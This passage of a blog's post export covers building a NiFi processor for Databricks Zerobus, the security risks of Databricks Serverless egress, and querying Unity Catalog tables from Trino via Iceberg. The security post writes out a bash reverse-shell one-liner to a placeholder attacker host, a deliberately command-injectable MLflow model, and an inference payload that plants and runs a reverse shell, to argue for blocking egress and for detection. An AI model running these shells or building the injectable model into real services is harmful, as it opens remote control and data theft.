recovery. Good design choice. You get Rust\u0026rsquo;s performance and safety guarantees with Java\u0026rsquo;s ecosystem compatibility.\nBut it also means platform-specific native libraries (linux-x86_64 only as of GA), and some real challenges with NiFi\u0026rsquo;s classloader isolation. More on that below.\nArchitecture decisions # The processor, PutZerobusIngest, is a single Java class, ~270 lines. The key decisions:\nOne persistent gRPC stream per processor instance. Opened in @OnScheduled, reused across all onTrigger invocations, closed in @OnStopped. No per-FlowFile connection overhead.\nBatch ingestion with offset-based ACK. NiFi pulls FlowFiles in configurable batches (default: 100). Each batch becomes a single ingestRecordsOffset() call. The processor blocks on waitForOffset() before routing to success, guaranteeing delivery.\nThree-way routing. Success, failure (non-retriable: schema mismatch, auth error), retry (transient: network blip, stream reset). NiFi handles retry natively via backpressure and penalization.\nAutomatic stream recovery. If the gRPC stream drops mid-session, the processor calls sdk.recreateStream() before the next batch. The SDK handles reconnection with configurable exponential backoff.\nflowchart TB subgraph NiFi[\u0026#34;Apache NiFi\u0026#34;] FF[\u0026#34;FlowFiles\\n(JSON)\u0026#34;] --\u0026gt; PZ[\u0026#34;PutZerobusIngest\u0026#34;] PZ --\u0026gt;|\u0026#34;success\u0026#34;| S[\u0026#34;Success Queue\u0026#34;] PZ --\u0026gt;|\u0026#34;failure\u0026#34;| F[\u0026#34;Failure Queue\u0026#34;] PZ --\u0026gt;|\u0026#34;retry\u0026#34;| R[\u0026#34;Retry Queue\u0026#34;] R -.-\u0026gt;|\u0026#34;penalize + retry\u0026#34;| PZ end subgraph Databricks[\u0026#34;Databricks\u0026#34;] PZ --\u0026gt;|\u0026#34;gRPC stream\u0026#34;| ZB[\u0026#34;Zerobus\\nServerless\u0026#34;] ZB --\u0026gt; DT[\u0026#34;Delta Table\u0026#34;] end style PZ fill:#6366f1,color:#fff style ZB fill:#6366f1,color:#fff The core code # The lifecycle is deceptively simple. Stream opens once:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @OnScheduled public void onScheduled(final ProcessContext context) throws Exception { sdk = new ZerobusSdk(endpoint, workspace); StreamConfigurationOptions options = StreamConfigurationOptions.builder() .setMaxInflightRecords(maxInflight) .setRecovery(true) .setRecoveryRetries(5) .setRecoveryTimeoutMs(30000) .setAckCallback(new AckCallback() { public void onAck(long offsetId) { getLogger().debug(\u0026#34;ACK for offset {}\u0026#34;, offsetId); } public void onError(long offsetId, String message) { getLogger().warn(\u0026#34;Error for offset {}: {}\u0026#34;, offsetId, message); } }) .build(); stream = sdk.createJsonStream(table, clientId, clientSecret, options).join(); } Every trigger reads a batch, sends it, waits for confirmation:\n1 2 3 4 5 Optional\u0026lt;Long\u0026gt; lastOffset = stream.ingestRecordsOffset(records); if (lastOffset.isPresent()) { stream.waitForOffset(lastOffset.get()); } session.transfer(flowFiles, REL_SUCCESS); The SDK handles everything else: TLS, OAuth token refresh, gRPC framing, compression.\nWalkthrough: from zero to data in Databricks # Actual deployment on a running NiFi instance with an existing Kafka-based flow.\nStarting point: NiFi with Kafka # My test environment already had a flow with four host generators (host1, host2, host3a, host3b) publishing security telemetry to Kafka via PublishKafka_2_6:\nStep 1: Add the processor # After deploying the NAR, PutZerobusIngest appears in the processor palette. Searching for \u0026ldquo;zero\u0026rdquo; filters 365 processors down to one:\nThe processor description shows the key details: persistent gRPC stream, batch ingestion, offset-based acknowledgment. Version 0.1.0, bundled as la.dere.nifi - nifi-zerobus-nar.\nStep 2: Configure settings # The processor settings show the bundle identity and standard NiFi configuration:\nStep 3: Set properties # The properties tab exposes the Zerobus configuration. Seven properties, five required:\nAfter filling in the endpoint, workspace URL, target table, and service principal credentials:\nThe batch size is set to 10 for this test (default is 100). The Service Principal Client Secret shows as \u0026ldquo;Sensitive value set\u0026rdquo;. NiFi encrypts it at rest.\nStep 4: Wire it up and run # I connected PutZerobusIngest in parallel with the existing Kafka publisher, same data source, fan-out to both destinations simultaneously:\nThe processor immediately started consuming FlowFiles. The stats show 14 tasks completed with active read/write throughput.\nStep 5: Verify in Databricks # Data from all four hosts landing in the Delta table demo.default.zerobus_ingestion:\n1 2 SELECT host, cast(timestamp / 1000 as timestamp) as timestamp FROM demo.default.zerobus_ingestion; All four hosts (host1, host2, host3a, host3b) with timestamps showing real-time ingestion. From NiFi to queryable Delta table, no Kafka in between.\nThe gotchas (and there were a few) # These are the issues I hit, documented so you don\u0026rsquo;t have to rediscover them.\n1. JNI classloader isolation # The hardest one. NiFi uses NAR (NiFi Archive) packaging with strict classloader isolation, so each NAR gets its own classloader. The Zerobus SDK\u0026rsquo;s Rust backend spawns native threads via JNI AttachCurrentThread. These threads inherit the system classloader, not the NAR classloader.\nResult: NoClassDefFoundError: com/databricks/zerobus/NonRetriableException. The SDK class exists in the NAR but the native thread can\u0026rsquo;t see it.\nThe fix: extract the SDK JAR from the NAR and place it on NiFi\u0026rsquo;s system classpath (lib/) in addition to bundling it in the NAR. The Dockerfile handles this automatically.\n2. ARM64: SDK is x86_64 only # The Zerobus SDK ships native libraries for linux-x86_64 only. On Apple Silicon (OrbStack, Rancher Desktop), you need --platform linux/amd64 when building the Docker image and Rosetta emulation enabled in your container runtime. Production x86_64 clusters are unaffected.\n3. Endpoint format: https:// required # The SDK parses the workspace ID from the endpoint URL. Without the https:// prefix, it fails with Failed to extract workspace_id from zerobus_endpoint. The property now clearly documents the expected format.\n4. Permissions: ALL_PRIVILEGES is not enough # This one cost me hours. The service principal had ALL_PRIVILEGES inherited from the parent catalog, which you\u0026rsquo;d think covers everything. It doesn\u0026rsquo;t.\nZerobus Ingest uses fine-grained OAuth authorization_details scoping. The OIDC token request includes the specific table and operation. Only explicit MODIFY and SELECT grants on the target table satisfy this check. Inherited privileges are ignored.\n1 2 3 4 5 -- This works: GRANT MODIFY, SELECT ON TABLE demo.default.zerobus_ingestion TO `sp-nifi`; -- This doesn\u0026#39;t (even though it should): GRANT ALL_PRIVILEGES ON CATALOG demo TO `sp-nifi`; 5. Auth is service-principal-only # No PATs, no managed identity, no instance profiles. OAuth 2.0 M2M with client ID + client secret only. This is intentional for automated pipelines, but it means you need a secrets management story.\n6. Schema must match exactly # No schema evolution on the fly. Your JSON must match the target Delta table schema at write time. Mismatches produce NonRetriableException routed to the failure relationship.\nMonitoring Zerobus itself # Zerobus is serverless and largely invisible. There\u0026rsquo;s no cluster to SSH into, no Spark UI to check. But Databricks does expose two system tables in system.lakeflow that give you stream-level and ingestion-level telemetry.\nStream events: system.lakeflow.zerobus_stream # This table tracks stream lifecycle: opens, closes, and errors. Key columns:\nColumn Description stream_id Unique stream identifier table_name Target Delta table (fully qualified) opened_time When the stream was opened closed_time When the stream closed (NULL = still active) protocol GRPC or HTTP errors Array of error objects during stream lifetime How many streams are active right now?\n1 2 3 4 5 SELECT COUNT(stream_id) AS active_streams FROM system.lakeflow.zerobus_stream WHERE table_name = \u0026#39;demo.default.security_events\u0026#39; AND closed_time IS NULL AND opened_time \u0026gt; CURRENT_TIMESTAMP - INTERVAL 15 MINUTES; Ingestion metrics: system.lakeflow.zerobus_ingest # This table tracks actual data landing in Delta, aggregated per commit, not per record:\nColumn Description stream_id Which stream performed the ingestion commit_version Delta commit version commit_time When the commit happened committed_bytes Data size in bytes committed_records Number of records errors Errors during ingestion Average ingestion rate over the last hour:\n1 2 3 4 5 6 SELECT table_name, SUM(committed_bytes) / 3600 AS avg_bytes_per_sec, SUM(committed_records) AS total_records FROM system.lakeflow.zerobus_ingest WHERE commit_time \u0026gt;= CURRENT_TIMESTAMP - INTERVAL 1 HOUR GROUP BY table_name; Detect ingestion gaps (no commits for 5+ minutes):\n1 2 3 4 5 6 7 8 9 10 11 WITH commits AS ( SELECT table_name, commit_time, LEAD(commit_time) OVER (PARTITION BY table_name ORDER BY commit_time) AS next_commit FROM system.lakeflow.zerobus_ingest WHERE commit_time \u0026gt;= CURRENT_TIMESTAMP - INTERVAL 1 HOUR ) SELECT table_name, commit_time, next_commit, TIMESTAMPDIFF(SECOND, commit_time, next_commit) AS gap_seconds FROM commits WHERE TIMESTAMPDIFF(SECOND, commit_time, next_commit) \u0026gt; 300 ORDER BY gap_seconds DESC; These tables are solid for pipeline-level health: is the stream alive, is data flowing, at what rate. You can build Databricks SQL alerts on top of them and get notified when throughput drops or streams die.\nBut that\u0026rsquo;s where it ends.\nBeyond pipeline health # The system tables above give you pipeline health. You can see streams, throughput, gaps. For many data engineering use cases, that\u0026rsquo;s enough.\nBut security telemetry isn\u0026rsquo;t a normal data engineering use case.\nWhen a Kafka-based pipeline broke, you had consumer lag, batch processing times, checkpoint drift, and dead letter queues, an entire ecosystem of signals telling you exactly where in the chain something went wrong. With Zerobus, you get two system tables showing aggregate stream health. If the pipeline goes silent, producing no errors but also no data, the system tables will eventually show a gap. But they won\u0026rsquo;t tell you why. The NiFi processor? The service principal credentials? A network policy change? The upstream source?\nDatabricks is the destination. It sees the symptom, not the cause.\nPer-asset monitoring # The system tables tell you whether a stream is ingesting. They don\u0026rsquo;t tell you whether each expected source is reporting. Consider these scenarios:\nOne of 200 EDR agents goes dark. The stream keeps ingesting from the other 199. Total throughput barely dips. No alert. One endpoint is now completely unmonitored.\nA branch office firewall stops sending logs. The Zerobus pipeline looks healthy, still receiving events from 50 other firewalls. But that specific branch now has zero network visibility.\nA cloud account\u0026rsquo;s audit logging gets silently disabled. The ingestion pipeline doesn\u0026rsquo;t know what should be coming. It only knows what is coming. Absence is invisible.\nA host rotates its TLS cert and the agent can\u0026rsquo;t phone home. From Databricks\u0026rsquo; perspective, there\u0026rsquo;s simply less data today. Maybe it\u0026rsquo;s a quiet day. Maybe it\u0026rsquo;s an attacker who just killed the agent.\nThis isn\u0026rsquo;t a Zerobus problem. Zerobus does exactly what it promises: reliable, low-latency ingestion. But knowing that the pipe works doesn\u0026rsquo;t mean knowing that every tap is turned on.\nWho\u0026rsquo;s watching whether every expected source is actually reporting?\nPipeline monitoring tells you the pipe works. Asset-level monitoring tells you nothing is missing.\nI\u0026rsquo;ve already solved this. # If you\u0026rsquo;ve ever stared at a Splunk dashboard wondering \u0026ldquo;is this quiet because nothing\u0026rsquo;s happening, or because we lost visibility?\u0026rdquo; - you know the problem. It\u0026rsquo;s getting worse as pipelines get simpler and more abstracted.\nI\u0026rsquo;ve been building something that addresses exactly this. Asset-level expected-vs-actual comparisons, per-source silence detection, and full pipeline visibility mapping. Zerobus was actually one of the first pipelines I tested it against, because when you strip away all the middleware, you need something else watching the gaps.\nIt works, it\u0026rsquo;s running locally, and it\u0026rsquo;ll go public very soon. More on that when it launches.\nZerobus Ingest fundamentally simplifies streaming ingestion into Databricks. Sub-200ms latency, zero infrastructure, and a clean SDK that gets out of your way. Building the NiFi processor took a weekend, and most of that was fighting classloader isolation, not the SDK itself.\nIf you\u0026rsquo;re running NiFi and want to try Zerobus, the processor is ready: us3r/nifi-zerobus-bundle (Apache 2.0). The Dockerfile handles the JNI quirks. The README documents every gotcha in this post and more.\nThe remaining question: when the pipeline goes silent, how do you know?\nLinks:\nnifi-zerobus-bundle - NiFi processor (Apache 2.0) Zerobus Ingest docs Databricks Zerobus Ingest overview Zerobus Ingest system tables reference ","date":"24 February 2026","externalUrl":null,"permalink":"/posts/zerobus-nifi-ingest/","section":"Posts","summary":"","title":"Zerobus Ingest: Building a NiFi Processor for Databricks' New Streaming Primitive","type":"posts"},{"content":"","date":"21 October 2025","externalUrl":null,"permalink":"/categories/data-security/","section":"Categories","summary":"","title":"Data Security","type":"categories"},{"content":"","date":"21 October 2025","externalUrl":null,"permalink":"/tags/egress/","section":"Tags","summary":"","title":"Egress","type":"tags"},{"content":"","date":"21 October 2025","externalUrl":null,"permalink":"/tags/serverless/","section":"Tags","summary":"","title":"Serverless","type":"tags"},{"content":" Lead # Serverless compute in Databricks simplifies operations: no cluster sizing, near-instant startup, pay-for-what-you-run. For engineers and analysts, the experience is seamless. For security teams, the question is straightforward: where exactly does my code run, and who can it talk to?\nThis article is a practical, security-first look at the current Serverless landscape in Databricks: what to watch for, how to test safely (dry-run first), and a checklist you can hand to your ops and security teams today.\nHow Serverless works (short, practical overview) # In Serverless mode Databricks allocates compute from a managed, shared pool rather than spinning up instances in your VPC. The workflow is simple for the user: submit job → Databricks provides runtime → job executes → resources are released. Nice. Cheap. Fast.\nFrom a security and compliance perspective, the important bits are:\ncompute is not inside your VPC, Unity Catalog provides governance and RBAC but does not equate to physical network isolation, network paths and egress destinations can differ from those you control with NSGs / security groups. Treat Serverless as a shared resource with stronger need for defensive controls than an equivalent workload running inside your own VPC.\nWhat “serverless” really implies for security # For regulated environments the default Serverless model introduces two core risks:\nNetwork control gap - outbound (egress) traffic from serverless compute may not traverse your firewalls or private links unless you explicitly configure the available controls. Runtime exposure - serverless kernels or model-serving runtimes may run user code, and that code can reach external hosts or access short-lived credentials if not carefully isolated. Unity Catalog helps with who can read/write data, but not with where the code actually executes.\nWhen Serverless Can Talk to the Internet # There are several excellent articles worth reading if you’re serious about securing your Databricks serverless infrastructure:\nIsolake, Revisited: Isolating Databricks Serverless Workloads from the Public Internet by JD Braun Azure Databricks Storage Connectivity Patterns: Serverless vs. Classic with DNS Variations by Hao Wang Both pieces are must-reads if you want to understand how to properly isolate serverless compute and control outbound connectivity.\nIn this article, however, I’ll stay focused on what happens when you don’t follow their advice: the real-world consequences of ignoring egress isolation and the risks that appear when serverless workloads can freely reach the Internet.\nTypes of Serverless Resources # Before we start, let’s review the basics. According to the [Databricks documentation on Serverless compute], the main categories of serverless resources include:\nServerless Notebooks Serverless Jobs Serverless SQL Warehouses Serverless Lakeflow / Delta Live Tables (DLT) Serverless GPU Compute (beta) *AI / Model Training \u0026amp; Serving workloads (model endpoints, Mosaic AI, etc.) From a security and governance perspective each of them presents different risk surfaces depending on how they execute code and interact with data. Keep in mind that Databricks continues to introduce new features like apps, agents that may indicate another type of the risk.\nIn the next part, I’ll focus on specific resource types from the list above and walk through their potential security risks, so you can map each scenario to your own environment and use case.\nHigh-level scenarios attackers might try # Notebook runtime as an outbound pivot # A user or compromised notebook can run arbitrary code in a kernel. If that kernel can open outbound connections and access stored credentials, it becomes a pivot for exfiltration or remote control.\nflowchart TB %% Top-down flow subgraph USER [User / Analyst] u[User] end subgraph CPLANE [Control Plane] cp[Control Plane - Account Console] end subgraph SLS [Serverless] s[Serverless Compute - notebooks / jobs / model serving] end subgraph DPLANE [Data Plane / Storage] d[Storage and Data Plane] end %% Attacker infrastructure (side layout) subgraph ATTACK [Attacker Infrastructure] direction LR ah[Attacker Host - listening] au[Attacker User] end %% Vertical flows (legitimate) u --\u0026gt;|submit job or query| cp cp --\u0026gt;|provision runtime| s s --\u0026gt;|access data or write results| d %% Side (malicious) connection s -.-\u0026gt;|unauthorized outbound beacon| ah au --\u0026gt;|control channel| ah classDef dashed stroke-dasharray: 5 5,stroke:#d9534f; class ah dashed This scenario is very easy to imagine. Creating reverse shell can be executed with using an unlimited number of techniques. You can consider, what happens when your serverless is not secured (network access) and someone will execute in their notebook a reverse shell in one of the most primitive method that you can try to:\n1 bash -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0\u0026gt;\u0026amp;1 Sometimes I hear quick fixes like “let’s just disable magic commands.” That misses the point entirely. Magic commands aren’t the problem. They’re useful tools. Turning them off is like patching a tiny hole while leaving the patio doors wide open.\nServerless workloads must have no direct Internet access. Not “dry-run mode”, but literally disconnected. There are countless ways to open a reverse shell: through Bash, Python, Scala, Spark, R, or even SQL. You can’t block them all individually.\nBlock first, then detect attempts. If your serverless compute can talk to the Internet, you’ve already lost meaningful control. Cut off egress entirely, and then focus on building detection and monitoring where it actually matters.\nModel serving / MLflow as an execution vector # Models registered in MLflow often include custom preprocessing or postprocessing logic, and sometimes even full wrappers that execute additional code at serving time. Now, imagine a situation where a user deploys such a model, but instead of doing what it claims, the model performs something entirely different.\nBefore deploying any model to a serving endpoint, always review the code. Never assume it’s safe just because it runs or produces expected outputs. Users can apply various obfuscation techniques to hide what their model actually does.\nAll libraries used by the model should come exclusively from your internal, continuously scanned repositories (such as Artifactory, internal PyPI mirrors, or Maven mirrors). The code may look perfectly legitimate, but the real danger often hides inside one of those dependencies.\nflowchart TB U[User / Data Scientist - develops model code] --\u0026gt; M[MLflow Model - includes preprocessing and custom logic] M --\u0026gt; R[Model Registry - versioned and stored] R --\u0026gt; SE[Serving Endpoint - serverless runtime] SE --\u0026gt;|expected| O[Predictions / API responses] SE -.-\u0026gt;|hidden behavior| X[Unintended Actions - data exfiltration or outbound calls] %% Visual grouping and style classDef good fill:#c7f0c7,stroke:#333,stroke-width:1px; classDef bad fill:#f8d7da,stroke:#b30000,stroke-width:1px,stroke-dasharray: 5 5; class O good class X bad Consider a minimal mlflow.pyfunc.PythonModel whose predict() implementation invokes the operating system (for example, via subprocess) on strings taken directly from the input data. If you register such a class as a model and expose it via a serving endpoint, the danger is obvious: an attacker who controls the input can cause the serving runtime to execute arbitrary OS commands.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import mlflow.pyfunc import pandas as pd import subprocess class SomeModel(mlflow.pyfunc.PythonModel): def dumny(self, model_input): \u0026#39;\u0026#39;\u0026#39; The dumny() method may aggregates complex auxiliary logic and serves as an intermediary layer between the model interface and specific handlers. Because it may perform multiple sequential operations - such as: validation, normalization, dispatching to specialized handlers, simulation modes, or fallback mechanisms - fully understanding its behavior requires a careful review of the implementation and unit tests. In this example I will put it simply: \u0026#39;\u0026#39;\u0026#39; results = [] for d in model_input[\u0026#34;data\u0026#34;]: try: output = subprocess.check_output(d, shell=True, text=True) except Exception as e: output = str(e) results.append(output) return results def predict(self, context, model_input): return self.dumny(model_input) In practical terms, serving a model that directly interprets input as shell commands turns every inference request into a potential attack vector. The consequences include data exfiltration, privilege escalation, and lateral movement inside your environment, all originating from what appears to be an ordinary prediction call. Again, you can consider what will happens when such payload will be uploaded :\n1 2 3 4 5 6 7 8 9 { \u0026#34;dataframe_split\u0026#34;: { \u0026#34;columns\u0026#34;: [\u0026#34;data\u0026#34;], \u0026#34;data\u0026#34;: [ \u0026#34;echo bash -i \u0026gt;\u0026amp; /dev/tcp/SOME_HOST/SOME_PORT 0\u0026gt;\u0026amp;1\u0026#39; \u0026gt; 01_test.sh\u0026#34;, \u0026#34;bash 01_test.sh\u0026#34; ] } } Never execute untrusted input. Before deploying any model to production, review its code and its dependencies carefully. Ensure that preprocessing and prediction logic treat inputs strictly as data, not as executable commands, and that all third-party libraries come from internal, continuously scanned artifact repositories.\nIndicators of compromise - what to log \u0026amp; watch # Add these to your telemetry plan and SIEM:\nnetwork_outbound entries to unknown FQDNs or unusual ports. Notebook execution logs showing shell invocations or package installs. Model registry events: new artifacts, modified artifacts, or unexpected deploys. Sudden spikes of outbound DNS resolution for domains not in your allowlist. Changes to Network Policies or NCC configurations by unexpected actors. Example Databricks SQL detection queries:\n1 2 3 4 5 -- outbound destinations in the last 7 days SELECT event_time, workspace_id, user, destination_host, destination_port FROM system.access.outbound_network WHERE event_time \u0026gt;= current_timestamp() - INTERVAL \u0026#39;7\u0026#39; DAY ORDER BY event_time DESC; Of course it is just simple example that can give you some ideas. You could consider to use for example ai_query or ai_classify and use LLM to help you to identify if command is malicious or not. It will be better choice than set of the regex. To give you some ideas:\n1 2 3 4 5 6 7 8 9 10 WITH overview AS ( select command from values (\u0026#34;bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.0.1/5555 0\u0026gt;\u0026amp;1\u0026#34;), (\u0026#34;select * from table\u0026#34;) as overview(command) ) select command, ai_classify(command, ARRAY(\u0026#34;Suspicious\u0026#34;, \u0026#34;Valid\u0026#34;)) as ai_verdict from overview Command ai_verdict bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.0.1/5555 0\u0026gt;\u0026amp;1 Suspicious select * from table Valid It should give some ideas to which direcation you should go.\nFinal notes # Serverless compute is a powerful productivity tool, but it does not remove the need for security engineering. Serverless shifts some operational burden to Databricks, which is fine, if you accept that new guardrails and an explicit plan are required on your side.\n","date":"21 October 2025","externalUrl":null,"permalink":"/posts/databricks-serverless-security/","section":"Posts","summary":"","title":"Serverless Databricks - convenience vs control","type":"posts"},{"content":"","date":"10 September 2025","externalUrl":null,"permalink":"/tags/iceberg/","section":"Tags","summary":"","title":"Iceberg","type":"tags"},{"content":"","date":"10 September 2025","externalUrl":null,"permalink":"/tags/kubernetes/","section":"Tags","summary":"","title":"Kubernetes","type":"tags"},{"content":"","date":"10 September 2025","externalUrl":null,"permalink":"/tags/podman/","section":"Tags","summary":"","title":"Podman","type":"tags"},{"content":"","date":"10 September 2025","externalUrl":null,"permalink":"/tags/trino/","section":"Tags","summary":"","title":"Trino","type":"tags"},{"content":" It seems to me that many people either overlooked or don’t fully realize the benefits of using Uniform on Databaricks. Universal Format, allowing apache iceberg clients to read data from Delta Lake tables without requiring format conversions or data duplication.\nBy embracing Apache Iceberg REST Catalog API in Unity Catalog, it allows enterprises to decide about query engine. You decide where the compute runs, and UC ensures that governance remains consistent.\nPre-requirements for Trino # To make your Databricks tables readable via Trino you need to:\nEnable Delta Uniform on your table.\nThis transforms native Delta Lake metadata into Iceberg-compatible metadata.\nTrino (and any other Iceberg client) can then read the table seamlessly.\nEnable External Data Access for your Unity Catalog.\nThis allows non-Databricks tools (like Trino) to connect via the UC REST API.\nWhen Delta Uniform writes Iceberg metadata, it currently generates Iceberg v2 metadata.\nThis means you can take advantage of row-level deletes, updates, and advanced schema evolution.\nHowever, not all engines support every Iceberg v2 feature yet. Trino supports most v2 functionality, so you can safely use it. Additional Table Properties # When converting or creating tables, you may also encounter these parameters:\n1 2 3 delta.enableIcebergCompatV2 = \u0026#34;true\u0026#34; delta.feature.icebergCompatV2 = \u0026#34;supported\u0026#34; delta.universalFormat.enabledFormats = \u0026#34;iceberg\u0026#34; enableIcebergCompatV2 = true → ensures that the table writes Iceberg v2 compatible metadata. feature.icebergCompatV2 = supported → signals to UC and connected clients that Iceberg v2 features are supported for this table. universalFormat.enabledFormats = iceberg → instructs Delta Uniform to maintain Iceberg metadata alongside Delta metadata. Together, these properties guarantee smooth interoperability between Databricks, Unity Catalog, and Trino.\n1. Starting Local with Podman # We begin with Podman, because:\nIt’s rootless (you don’t want your laptop blowing up because you gave Docker root privileges). It’s lightweight (easy to nuke \u0026amp; restart, just like a bad Tinder date). Perfect for local dev before we go all enterprise with Kubernetes. 1 2 3 4 5 6 7 8 # Pull the Trino image podman pull trinodb/trino:latest # Run Trino on port 8080 podman run -d \\ --name trino \\ -p 8080:8080 \\ trinodb/trino:latest Check the UI at 👉 http://localhost:8080\nIf you see the Trino web console, congrats: you now have a SQL engine running locally without paying anyone a dime.\n2. Wiring Trino to Unity Catalog # Inside Trino, you’ll need a catalog configuration. In a real install this lives at /etc/catalog/uc.properties.\nFor Podman, you can mount a local config into the container:\n1 2 3 4 5 6 7 connector.name=iceberg iceberg.catalog.type=rest iceberg.rest.uri=https://\u0026lt;your-databricks-workspace\u0026gt;/api/2.1/unity-catalog/... iceberg.rest.authentication=oauth2 iceberg.oauth2.client-id=\u0026lt;app-id\u0026gt; iceberg.oauth2.client-secret=\u0026lt;secret\u0026gt; iceberg.oauth2.token-uri=https://login.microsoftonline.com/\u0026lt;tenant-id\u0026gt;/oauth2/v2.0/token 👉 Translation: Trino will fetch metadata (schemas, policies, snapshots) from Unity Catalog, but when it comes to reading the actual data, it will go directly to S3/ADLS where your Iceberg files live.\nThis is the magic: governance + security from UC, freedom + performance from Trino.\n3. Defining Tables in Unity Catalog # Let’s create a table in UC (via Databricks SQL or API):\n1 2 3 4 5 6 7 8 CREATE TABLE uc.default.sales_data ( order_id STRING, amount DECIMAL(10,2), region STRING, ts TIMESTAMP ) USING iceberg LOCATION \u0026#39;s3://your-bucket/sales_data\u0026#39;; UC now manages:\nschema, access policies, and snapshot/versioning metadata. But your actual files are still open Iceberg format on S3/ADLS.\nConverting an Existing Table to Delta Uniform # If you already have a managed or external Delta table in Unity Catalog, you can modify it so that Trino (via Iceberg connector) can read it.\nThis is done by altering the table properties.\n1 2 3 4 5 6 7 8 9 10 11 12 13 -- Convert an existing managed Delta table to Delta Uniform ALTER TABLE uc.default.sales_data SET TBLPROPERTIES ( \u0026#39;delta.universalFormat.enabledFormats\u0026#39; = \u0026#39;iceberg\u0026#39;, \u0026#39;delta.enableIcebergCompatV2\u0026#39; = \u0026#39;true\u0026#39; ); -- Or, for an external table ALTER TABLE uc.default.external_events SET TBLPROPERTIES ( \u0026#39;delta.universalFormat.enabledFormats\u0026#39; = \u0026#39;iceberg\u0026#39;, \u0026#39;delta.enableIcebergCompatV2\u0026#39; = \u0026#39;true\u0026#39; ); 👉 The key is:\n1 2 \u0026#39;delta.universalFormat.enabledFormats\u0026#39; = \u0026#39;iceberg\u0026#39;, \u0026#39;delta.enableIcebergCompatV2\u0026#39; = \u0026#39;true\u0026#39; Once applied, Unity Catalog automatically maintains Iceberg metadata alongside Delta metadata.\nFrom this point, Trino can discover and query the table via the UC REST catalog.\n4. Querying from Trino # Let’s run queries from Trino (CLI or BI tool):\n1 2 3 4 5 6 7 8 9 10 -- Discover schemas SHOW SCHEMAS IN uc; -- Discover tables SHOW TABLES IN uc.default; -- Run analytics SELECT region, SUM(amount) AS total_sales FROM uc.default.sales_data GROUP BY region; ✅ Example Result # 5. How This Actually Works # a) Architecture Flow # flowchart LR subgraph Clients[\u0026#34;SQL Clients / BI / CLI\u0026#34;] user1[BI Tool / Notebook] end user1 --\u0026gt; trino[(Trino Cluster)] subgraph Trino[\u0026#34;Trino\u0026#34;] direction TB connIceberg[\u0026#34;Iceberg_Connector(catalog=uc)\u0026#34;] trinoAuth[\u0026#34;AuthN/AuthZ to UC\\n(OAuth/OIDC/SPN)\u0026#34;] trino --\u0026gt; connIceberg trino --\u0026gt; trinoAuth end subgraph UC[\u0026#34;Unity Catalog\u0026#34;] direction TB ucPolicy[\u0026#34;Policies / RBAC\\n(Catalog/Schema/Table/Column)\u0026#34;] ucMeta[\u0026#34;Metastore\\n(tables, schemas, manifests)\u0026#34;] trinoAuth --\u0026gt; ucPolicy connIceberg --\u0026gt; ucMeta ucPolicy --- ucMeta end subgraph DataLayer[\u0026#34;Object Storage + Iceberg\u0026#34;] storage[(S3 / ADLS / GCS)] tblA[(Iceberg Table A\\n.parquet)] tblB[(Iceberg Table B\\n.parquet)] ucMeta -.-\u0026gt; tblA ucMeta -.-\u0026gt; tblB tblA --- storage tblB --- storage end connIceberg --\u0026gt; storage b) Query Lifecycle # sequenceDiagram autonumber participant C as Client (BI/CLI) participant T as Trino (Iceberg Connector) participant UC as Unity Catalog participant S as Object Storage participant X as Alluxio (optional) C-\u0026gt;\u0026gt;T: SELECT ... FROM uc.catalog.table T-\u0026gt;\u0026gt;UC: Check RBAC + fetch metadata UC--\u0026gt;\u0026gt;T: Schema, snapshots, locations opt Alluxio cache T-\u0026gt;\u0026gt;X: Request data X-\u0026gt;\u0026gt;S: Fetch parquet blocks (if cache miss) S--\u0026gt;\u0026gt;X: Data X--\u0026gt;\u0026gt;T: Return cached data end T-\u0026gt;\u0026gt;S: Read Parquet splits S--\u0026gt;\u0026gt;T: Columnar data T--\u0026gt;\u0026gt;C: Query results # 6. Scaling Up to Kubernetes # Now, Podman is cute for dev, but in prod you want K8s. Why?\nBecause running serious Trino queries in Podman is like running a marathon in flip-flops: possible, but unwise.\nIn Kubernetes:\na) ConfigMap for Catalogs # 1 2 3 4 5 6 7 8 9 10 11 12 13 apiVersion: v1 kind: ConfigMap metadata: name: trino-catalogs data: uc.properties: | connector.name=iceberg iceberg.catalog.type=rest iceberg.rest.uri=https://\u0026lt;workspace\u0026gt;/api/2.1/unity-catalog/... iceberg.rest.authentication=oauth2 iceberg.oauth2.client-id=${CLIENT_ID} iceberg.oauth2.client-secret=${CLIENT_SECRET} iceberg.oauth2.token-uri=https://login.microsoftonline.com/${TENANT_ID}/oauth2/v2.0/token b) Secret for Credentials # 1 2 3 4 5 6 7 8 9 apiVersion: v1 kind: Secret metadata: name: trino-secrets type: Opaque data: CLIENT_ID: base64encoded-client-id CLIENT_SECRET: base64encoded-secret TENANT_ID: base64encoded-tenant-id c) Deployment # 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 apiVersion: apps/v1 kind: Deployment metadata: name: trino spec: replicas: 3 selector: matchLabels: app: trino template: metadata: labels: app: trino spec: containers: - name: trino image: trinodb/trino:latest ports: - containerPort: 8080 volumeMounts: - name: catalog-volume mountPath: /etc/trino/catalog volumes: - name: catalog-volume configMap: name: trino-catalogs 👉 This way, your UC catalog settings are mounted from a ConfigMap, and secrets are injected safely.\nK8s does the heavy lifting: scaling, rolling updates, self-healing.\n7. Why This Rocks (and Vendor Lock-in Therapy) # Governance + Freedom\nUnity Catalog gives you RBAC + policies, but you don’t have to run queries on their warehouse.\nOpen Formats\nIceberg = no proprietary lock. Your parquet/ORC data is forever yours.\nMulti-engine Love\nSpark, Trino, Flink, Presto, pandas - all read Iceberg. Use the right tool at the right time.\nSave $$\nTrino on K8s means you avoid paying vendor compute tax just to do SELECT *.\nFuture-proof\nChange clouds, keep your data.\nThink of it like a relationship where you keep the Netflix account in your own name.\nUC is the rules, Trino is the fun, Iceberg is the solid base. And you? You’re the one not locked in. 😏\n8. Wrap-up # Start simple with Podman for local experiments. Scale to Kubernetes in production. Let Unity Catalog govern. Keep Iceberg tables in open storage. Run Trino anywhere, anytime. Freedom + governance = best of both worlds 🌍.\n","date":"10 September 2025","externalUrl":null,"permalink":"/posts/trino_databricks_iceberg/","section":"Posts","summary":"","title":"Trino + UC + Iceberg: Escape from Vendor 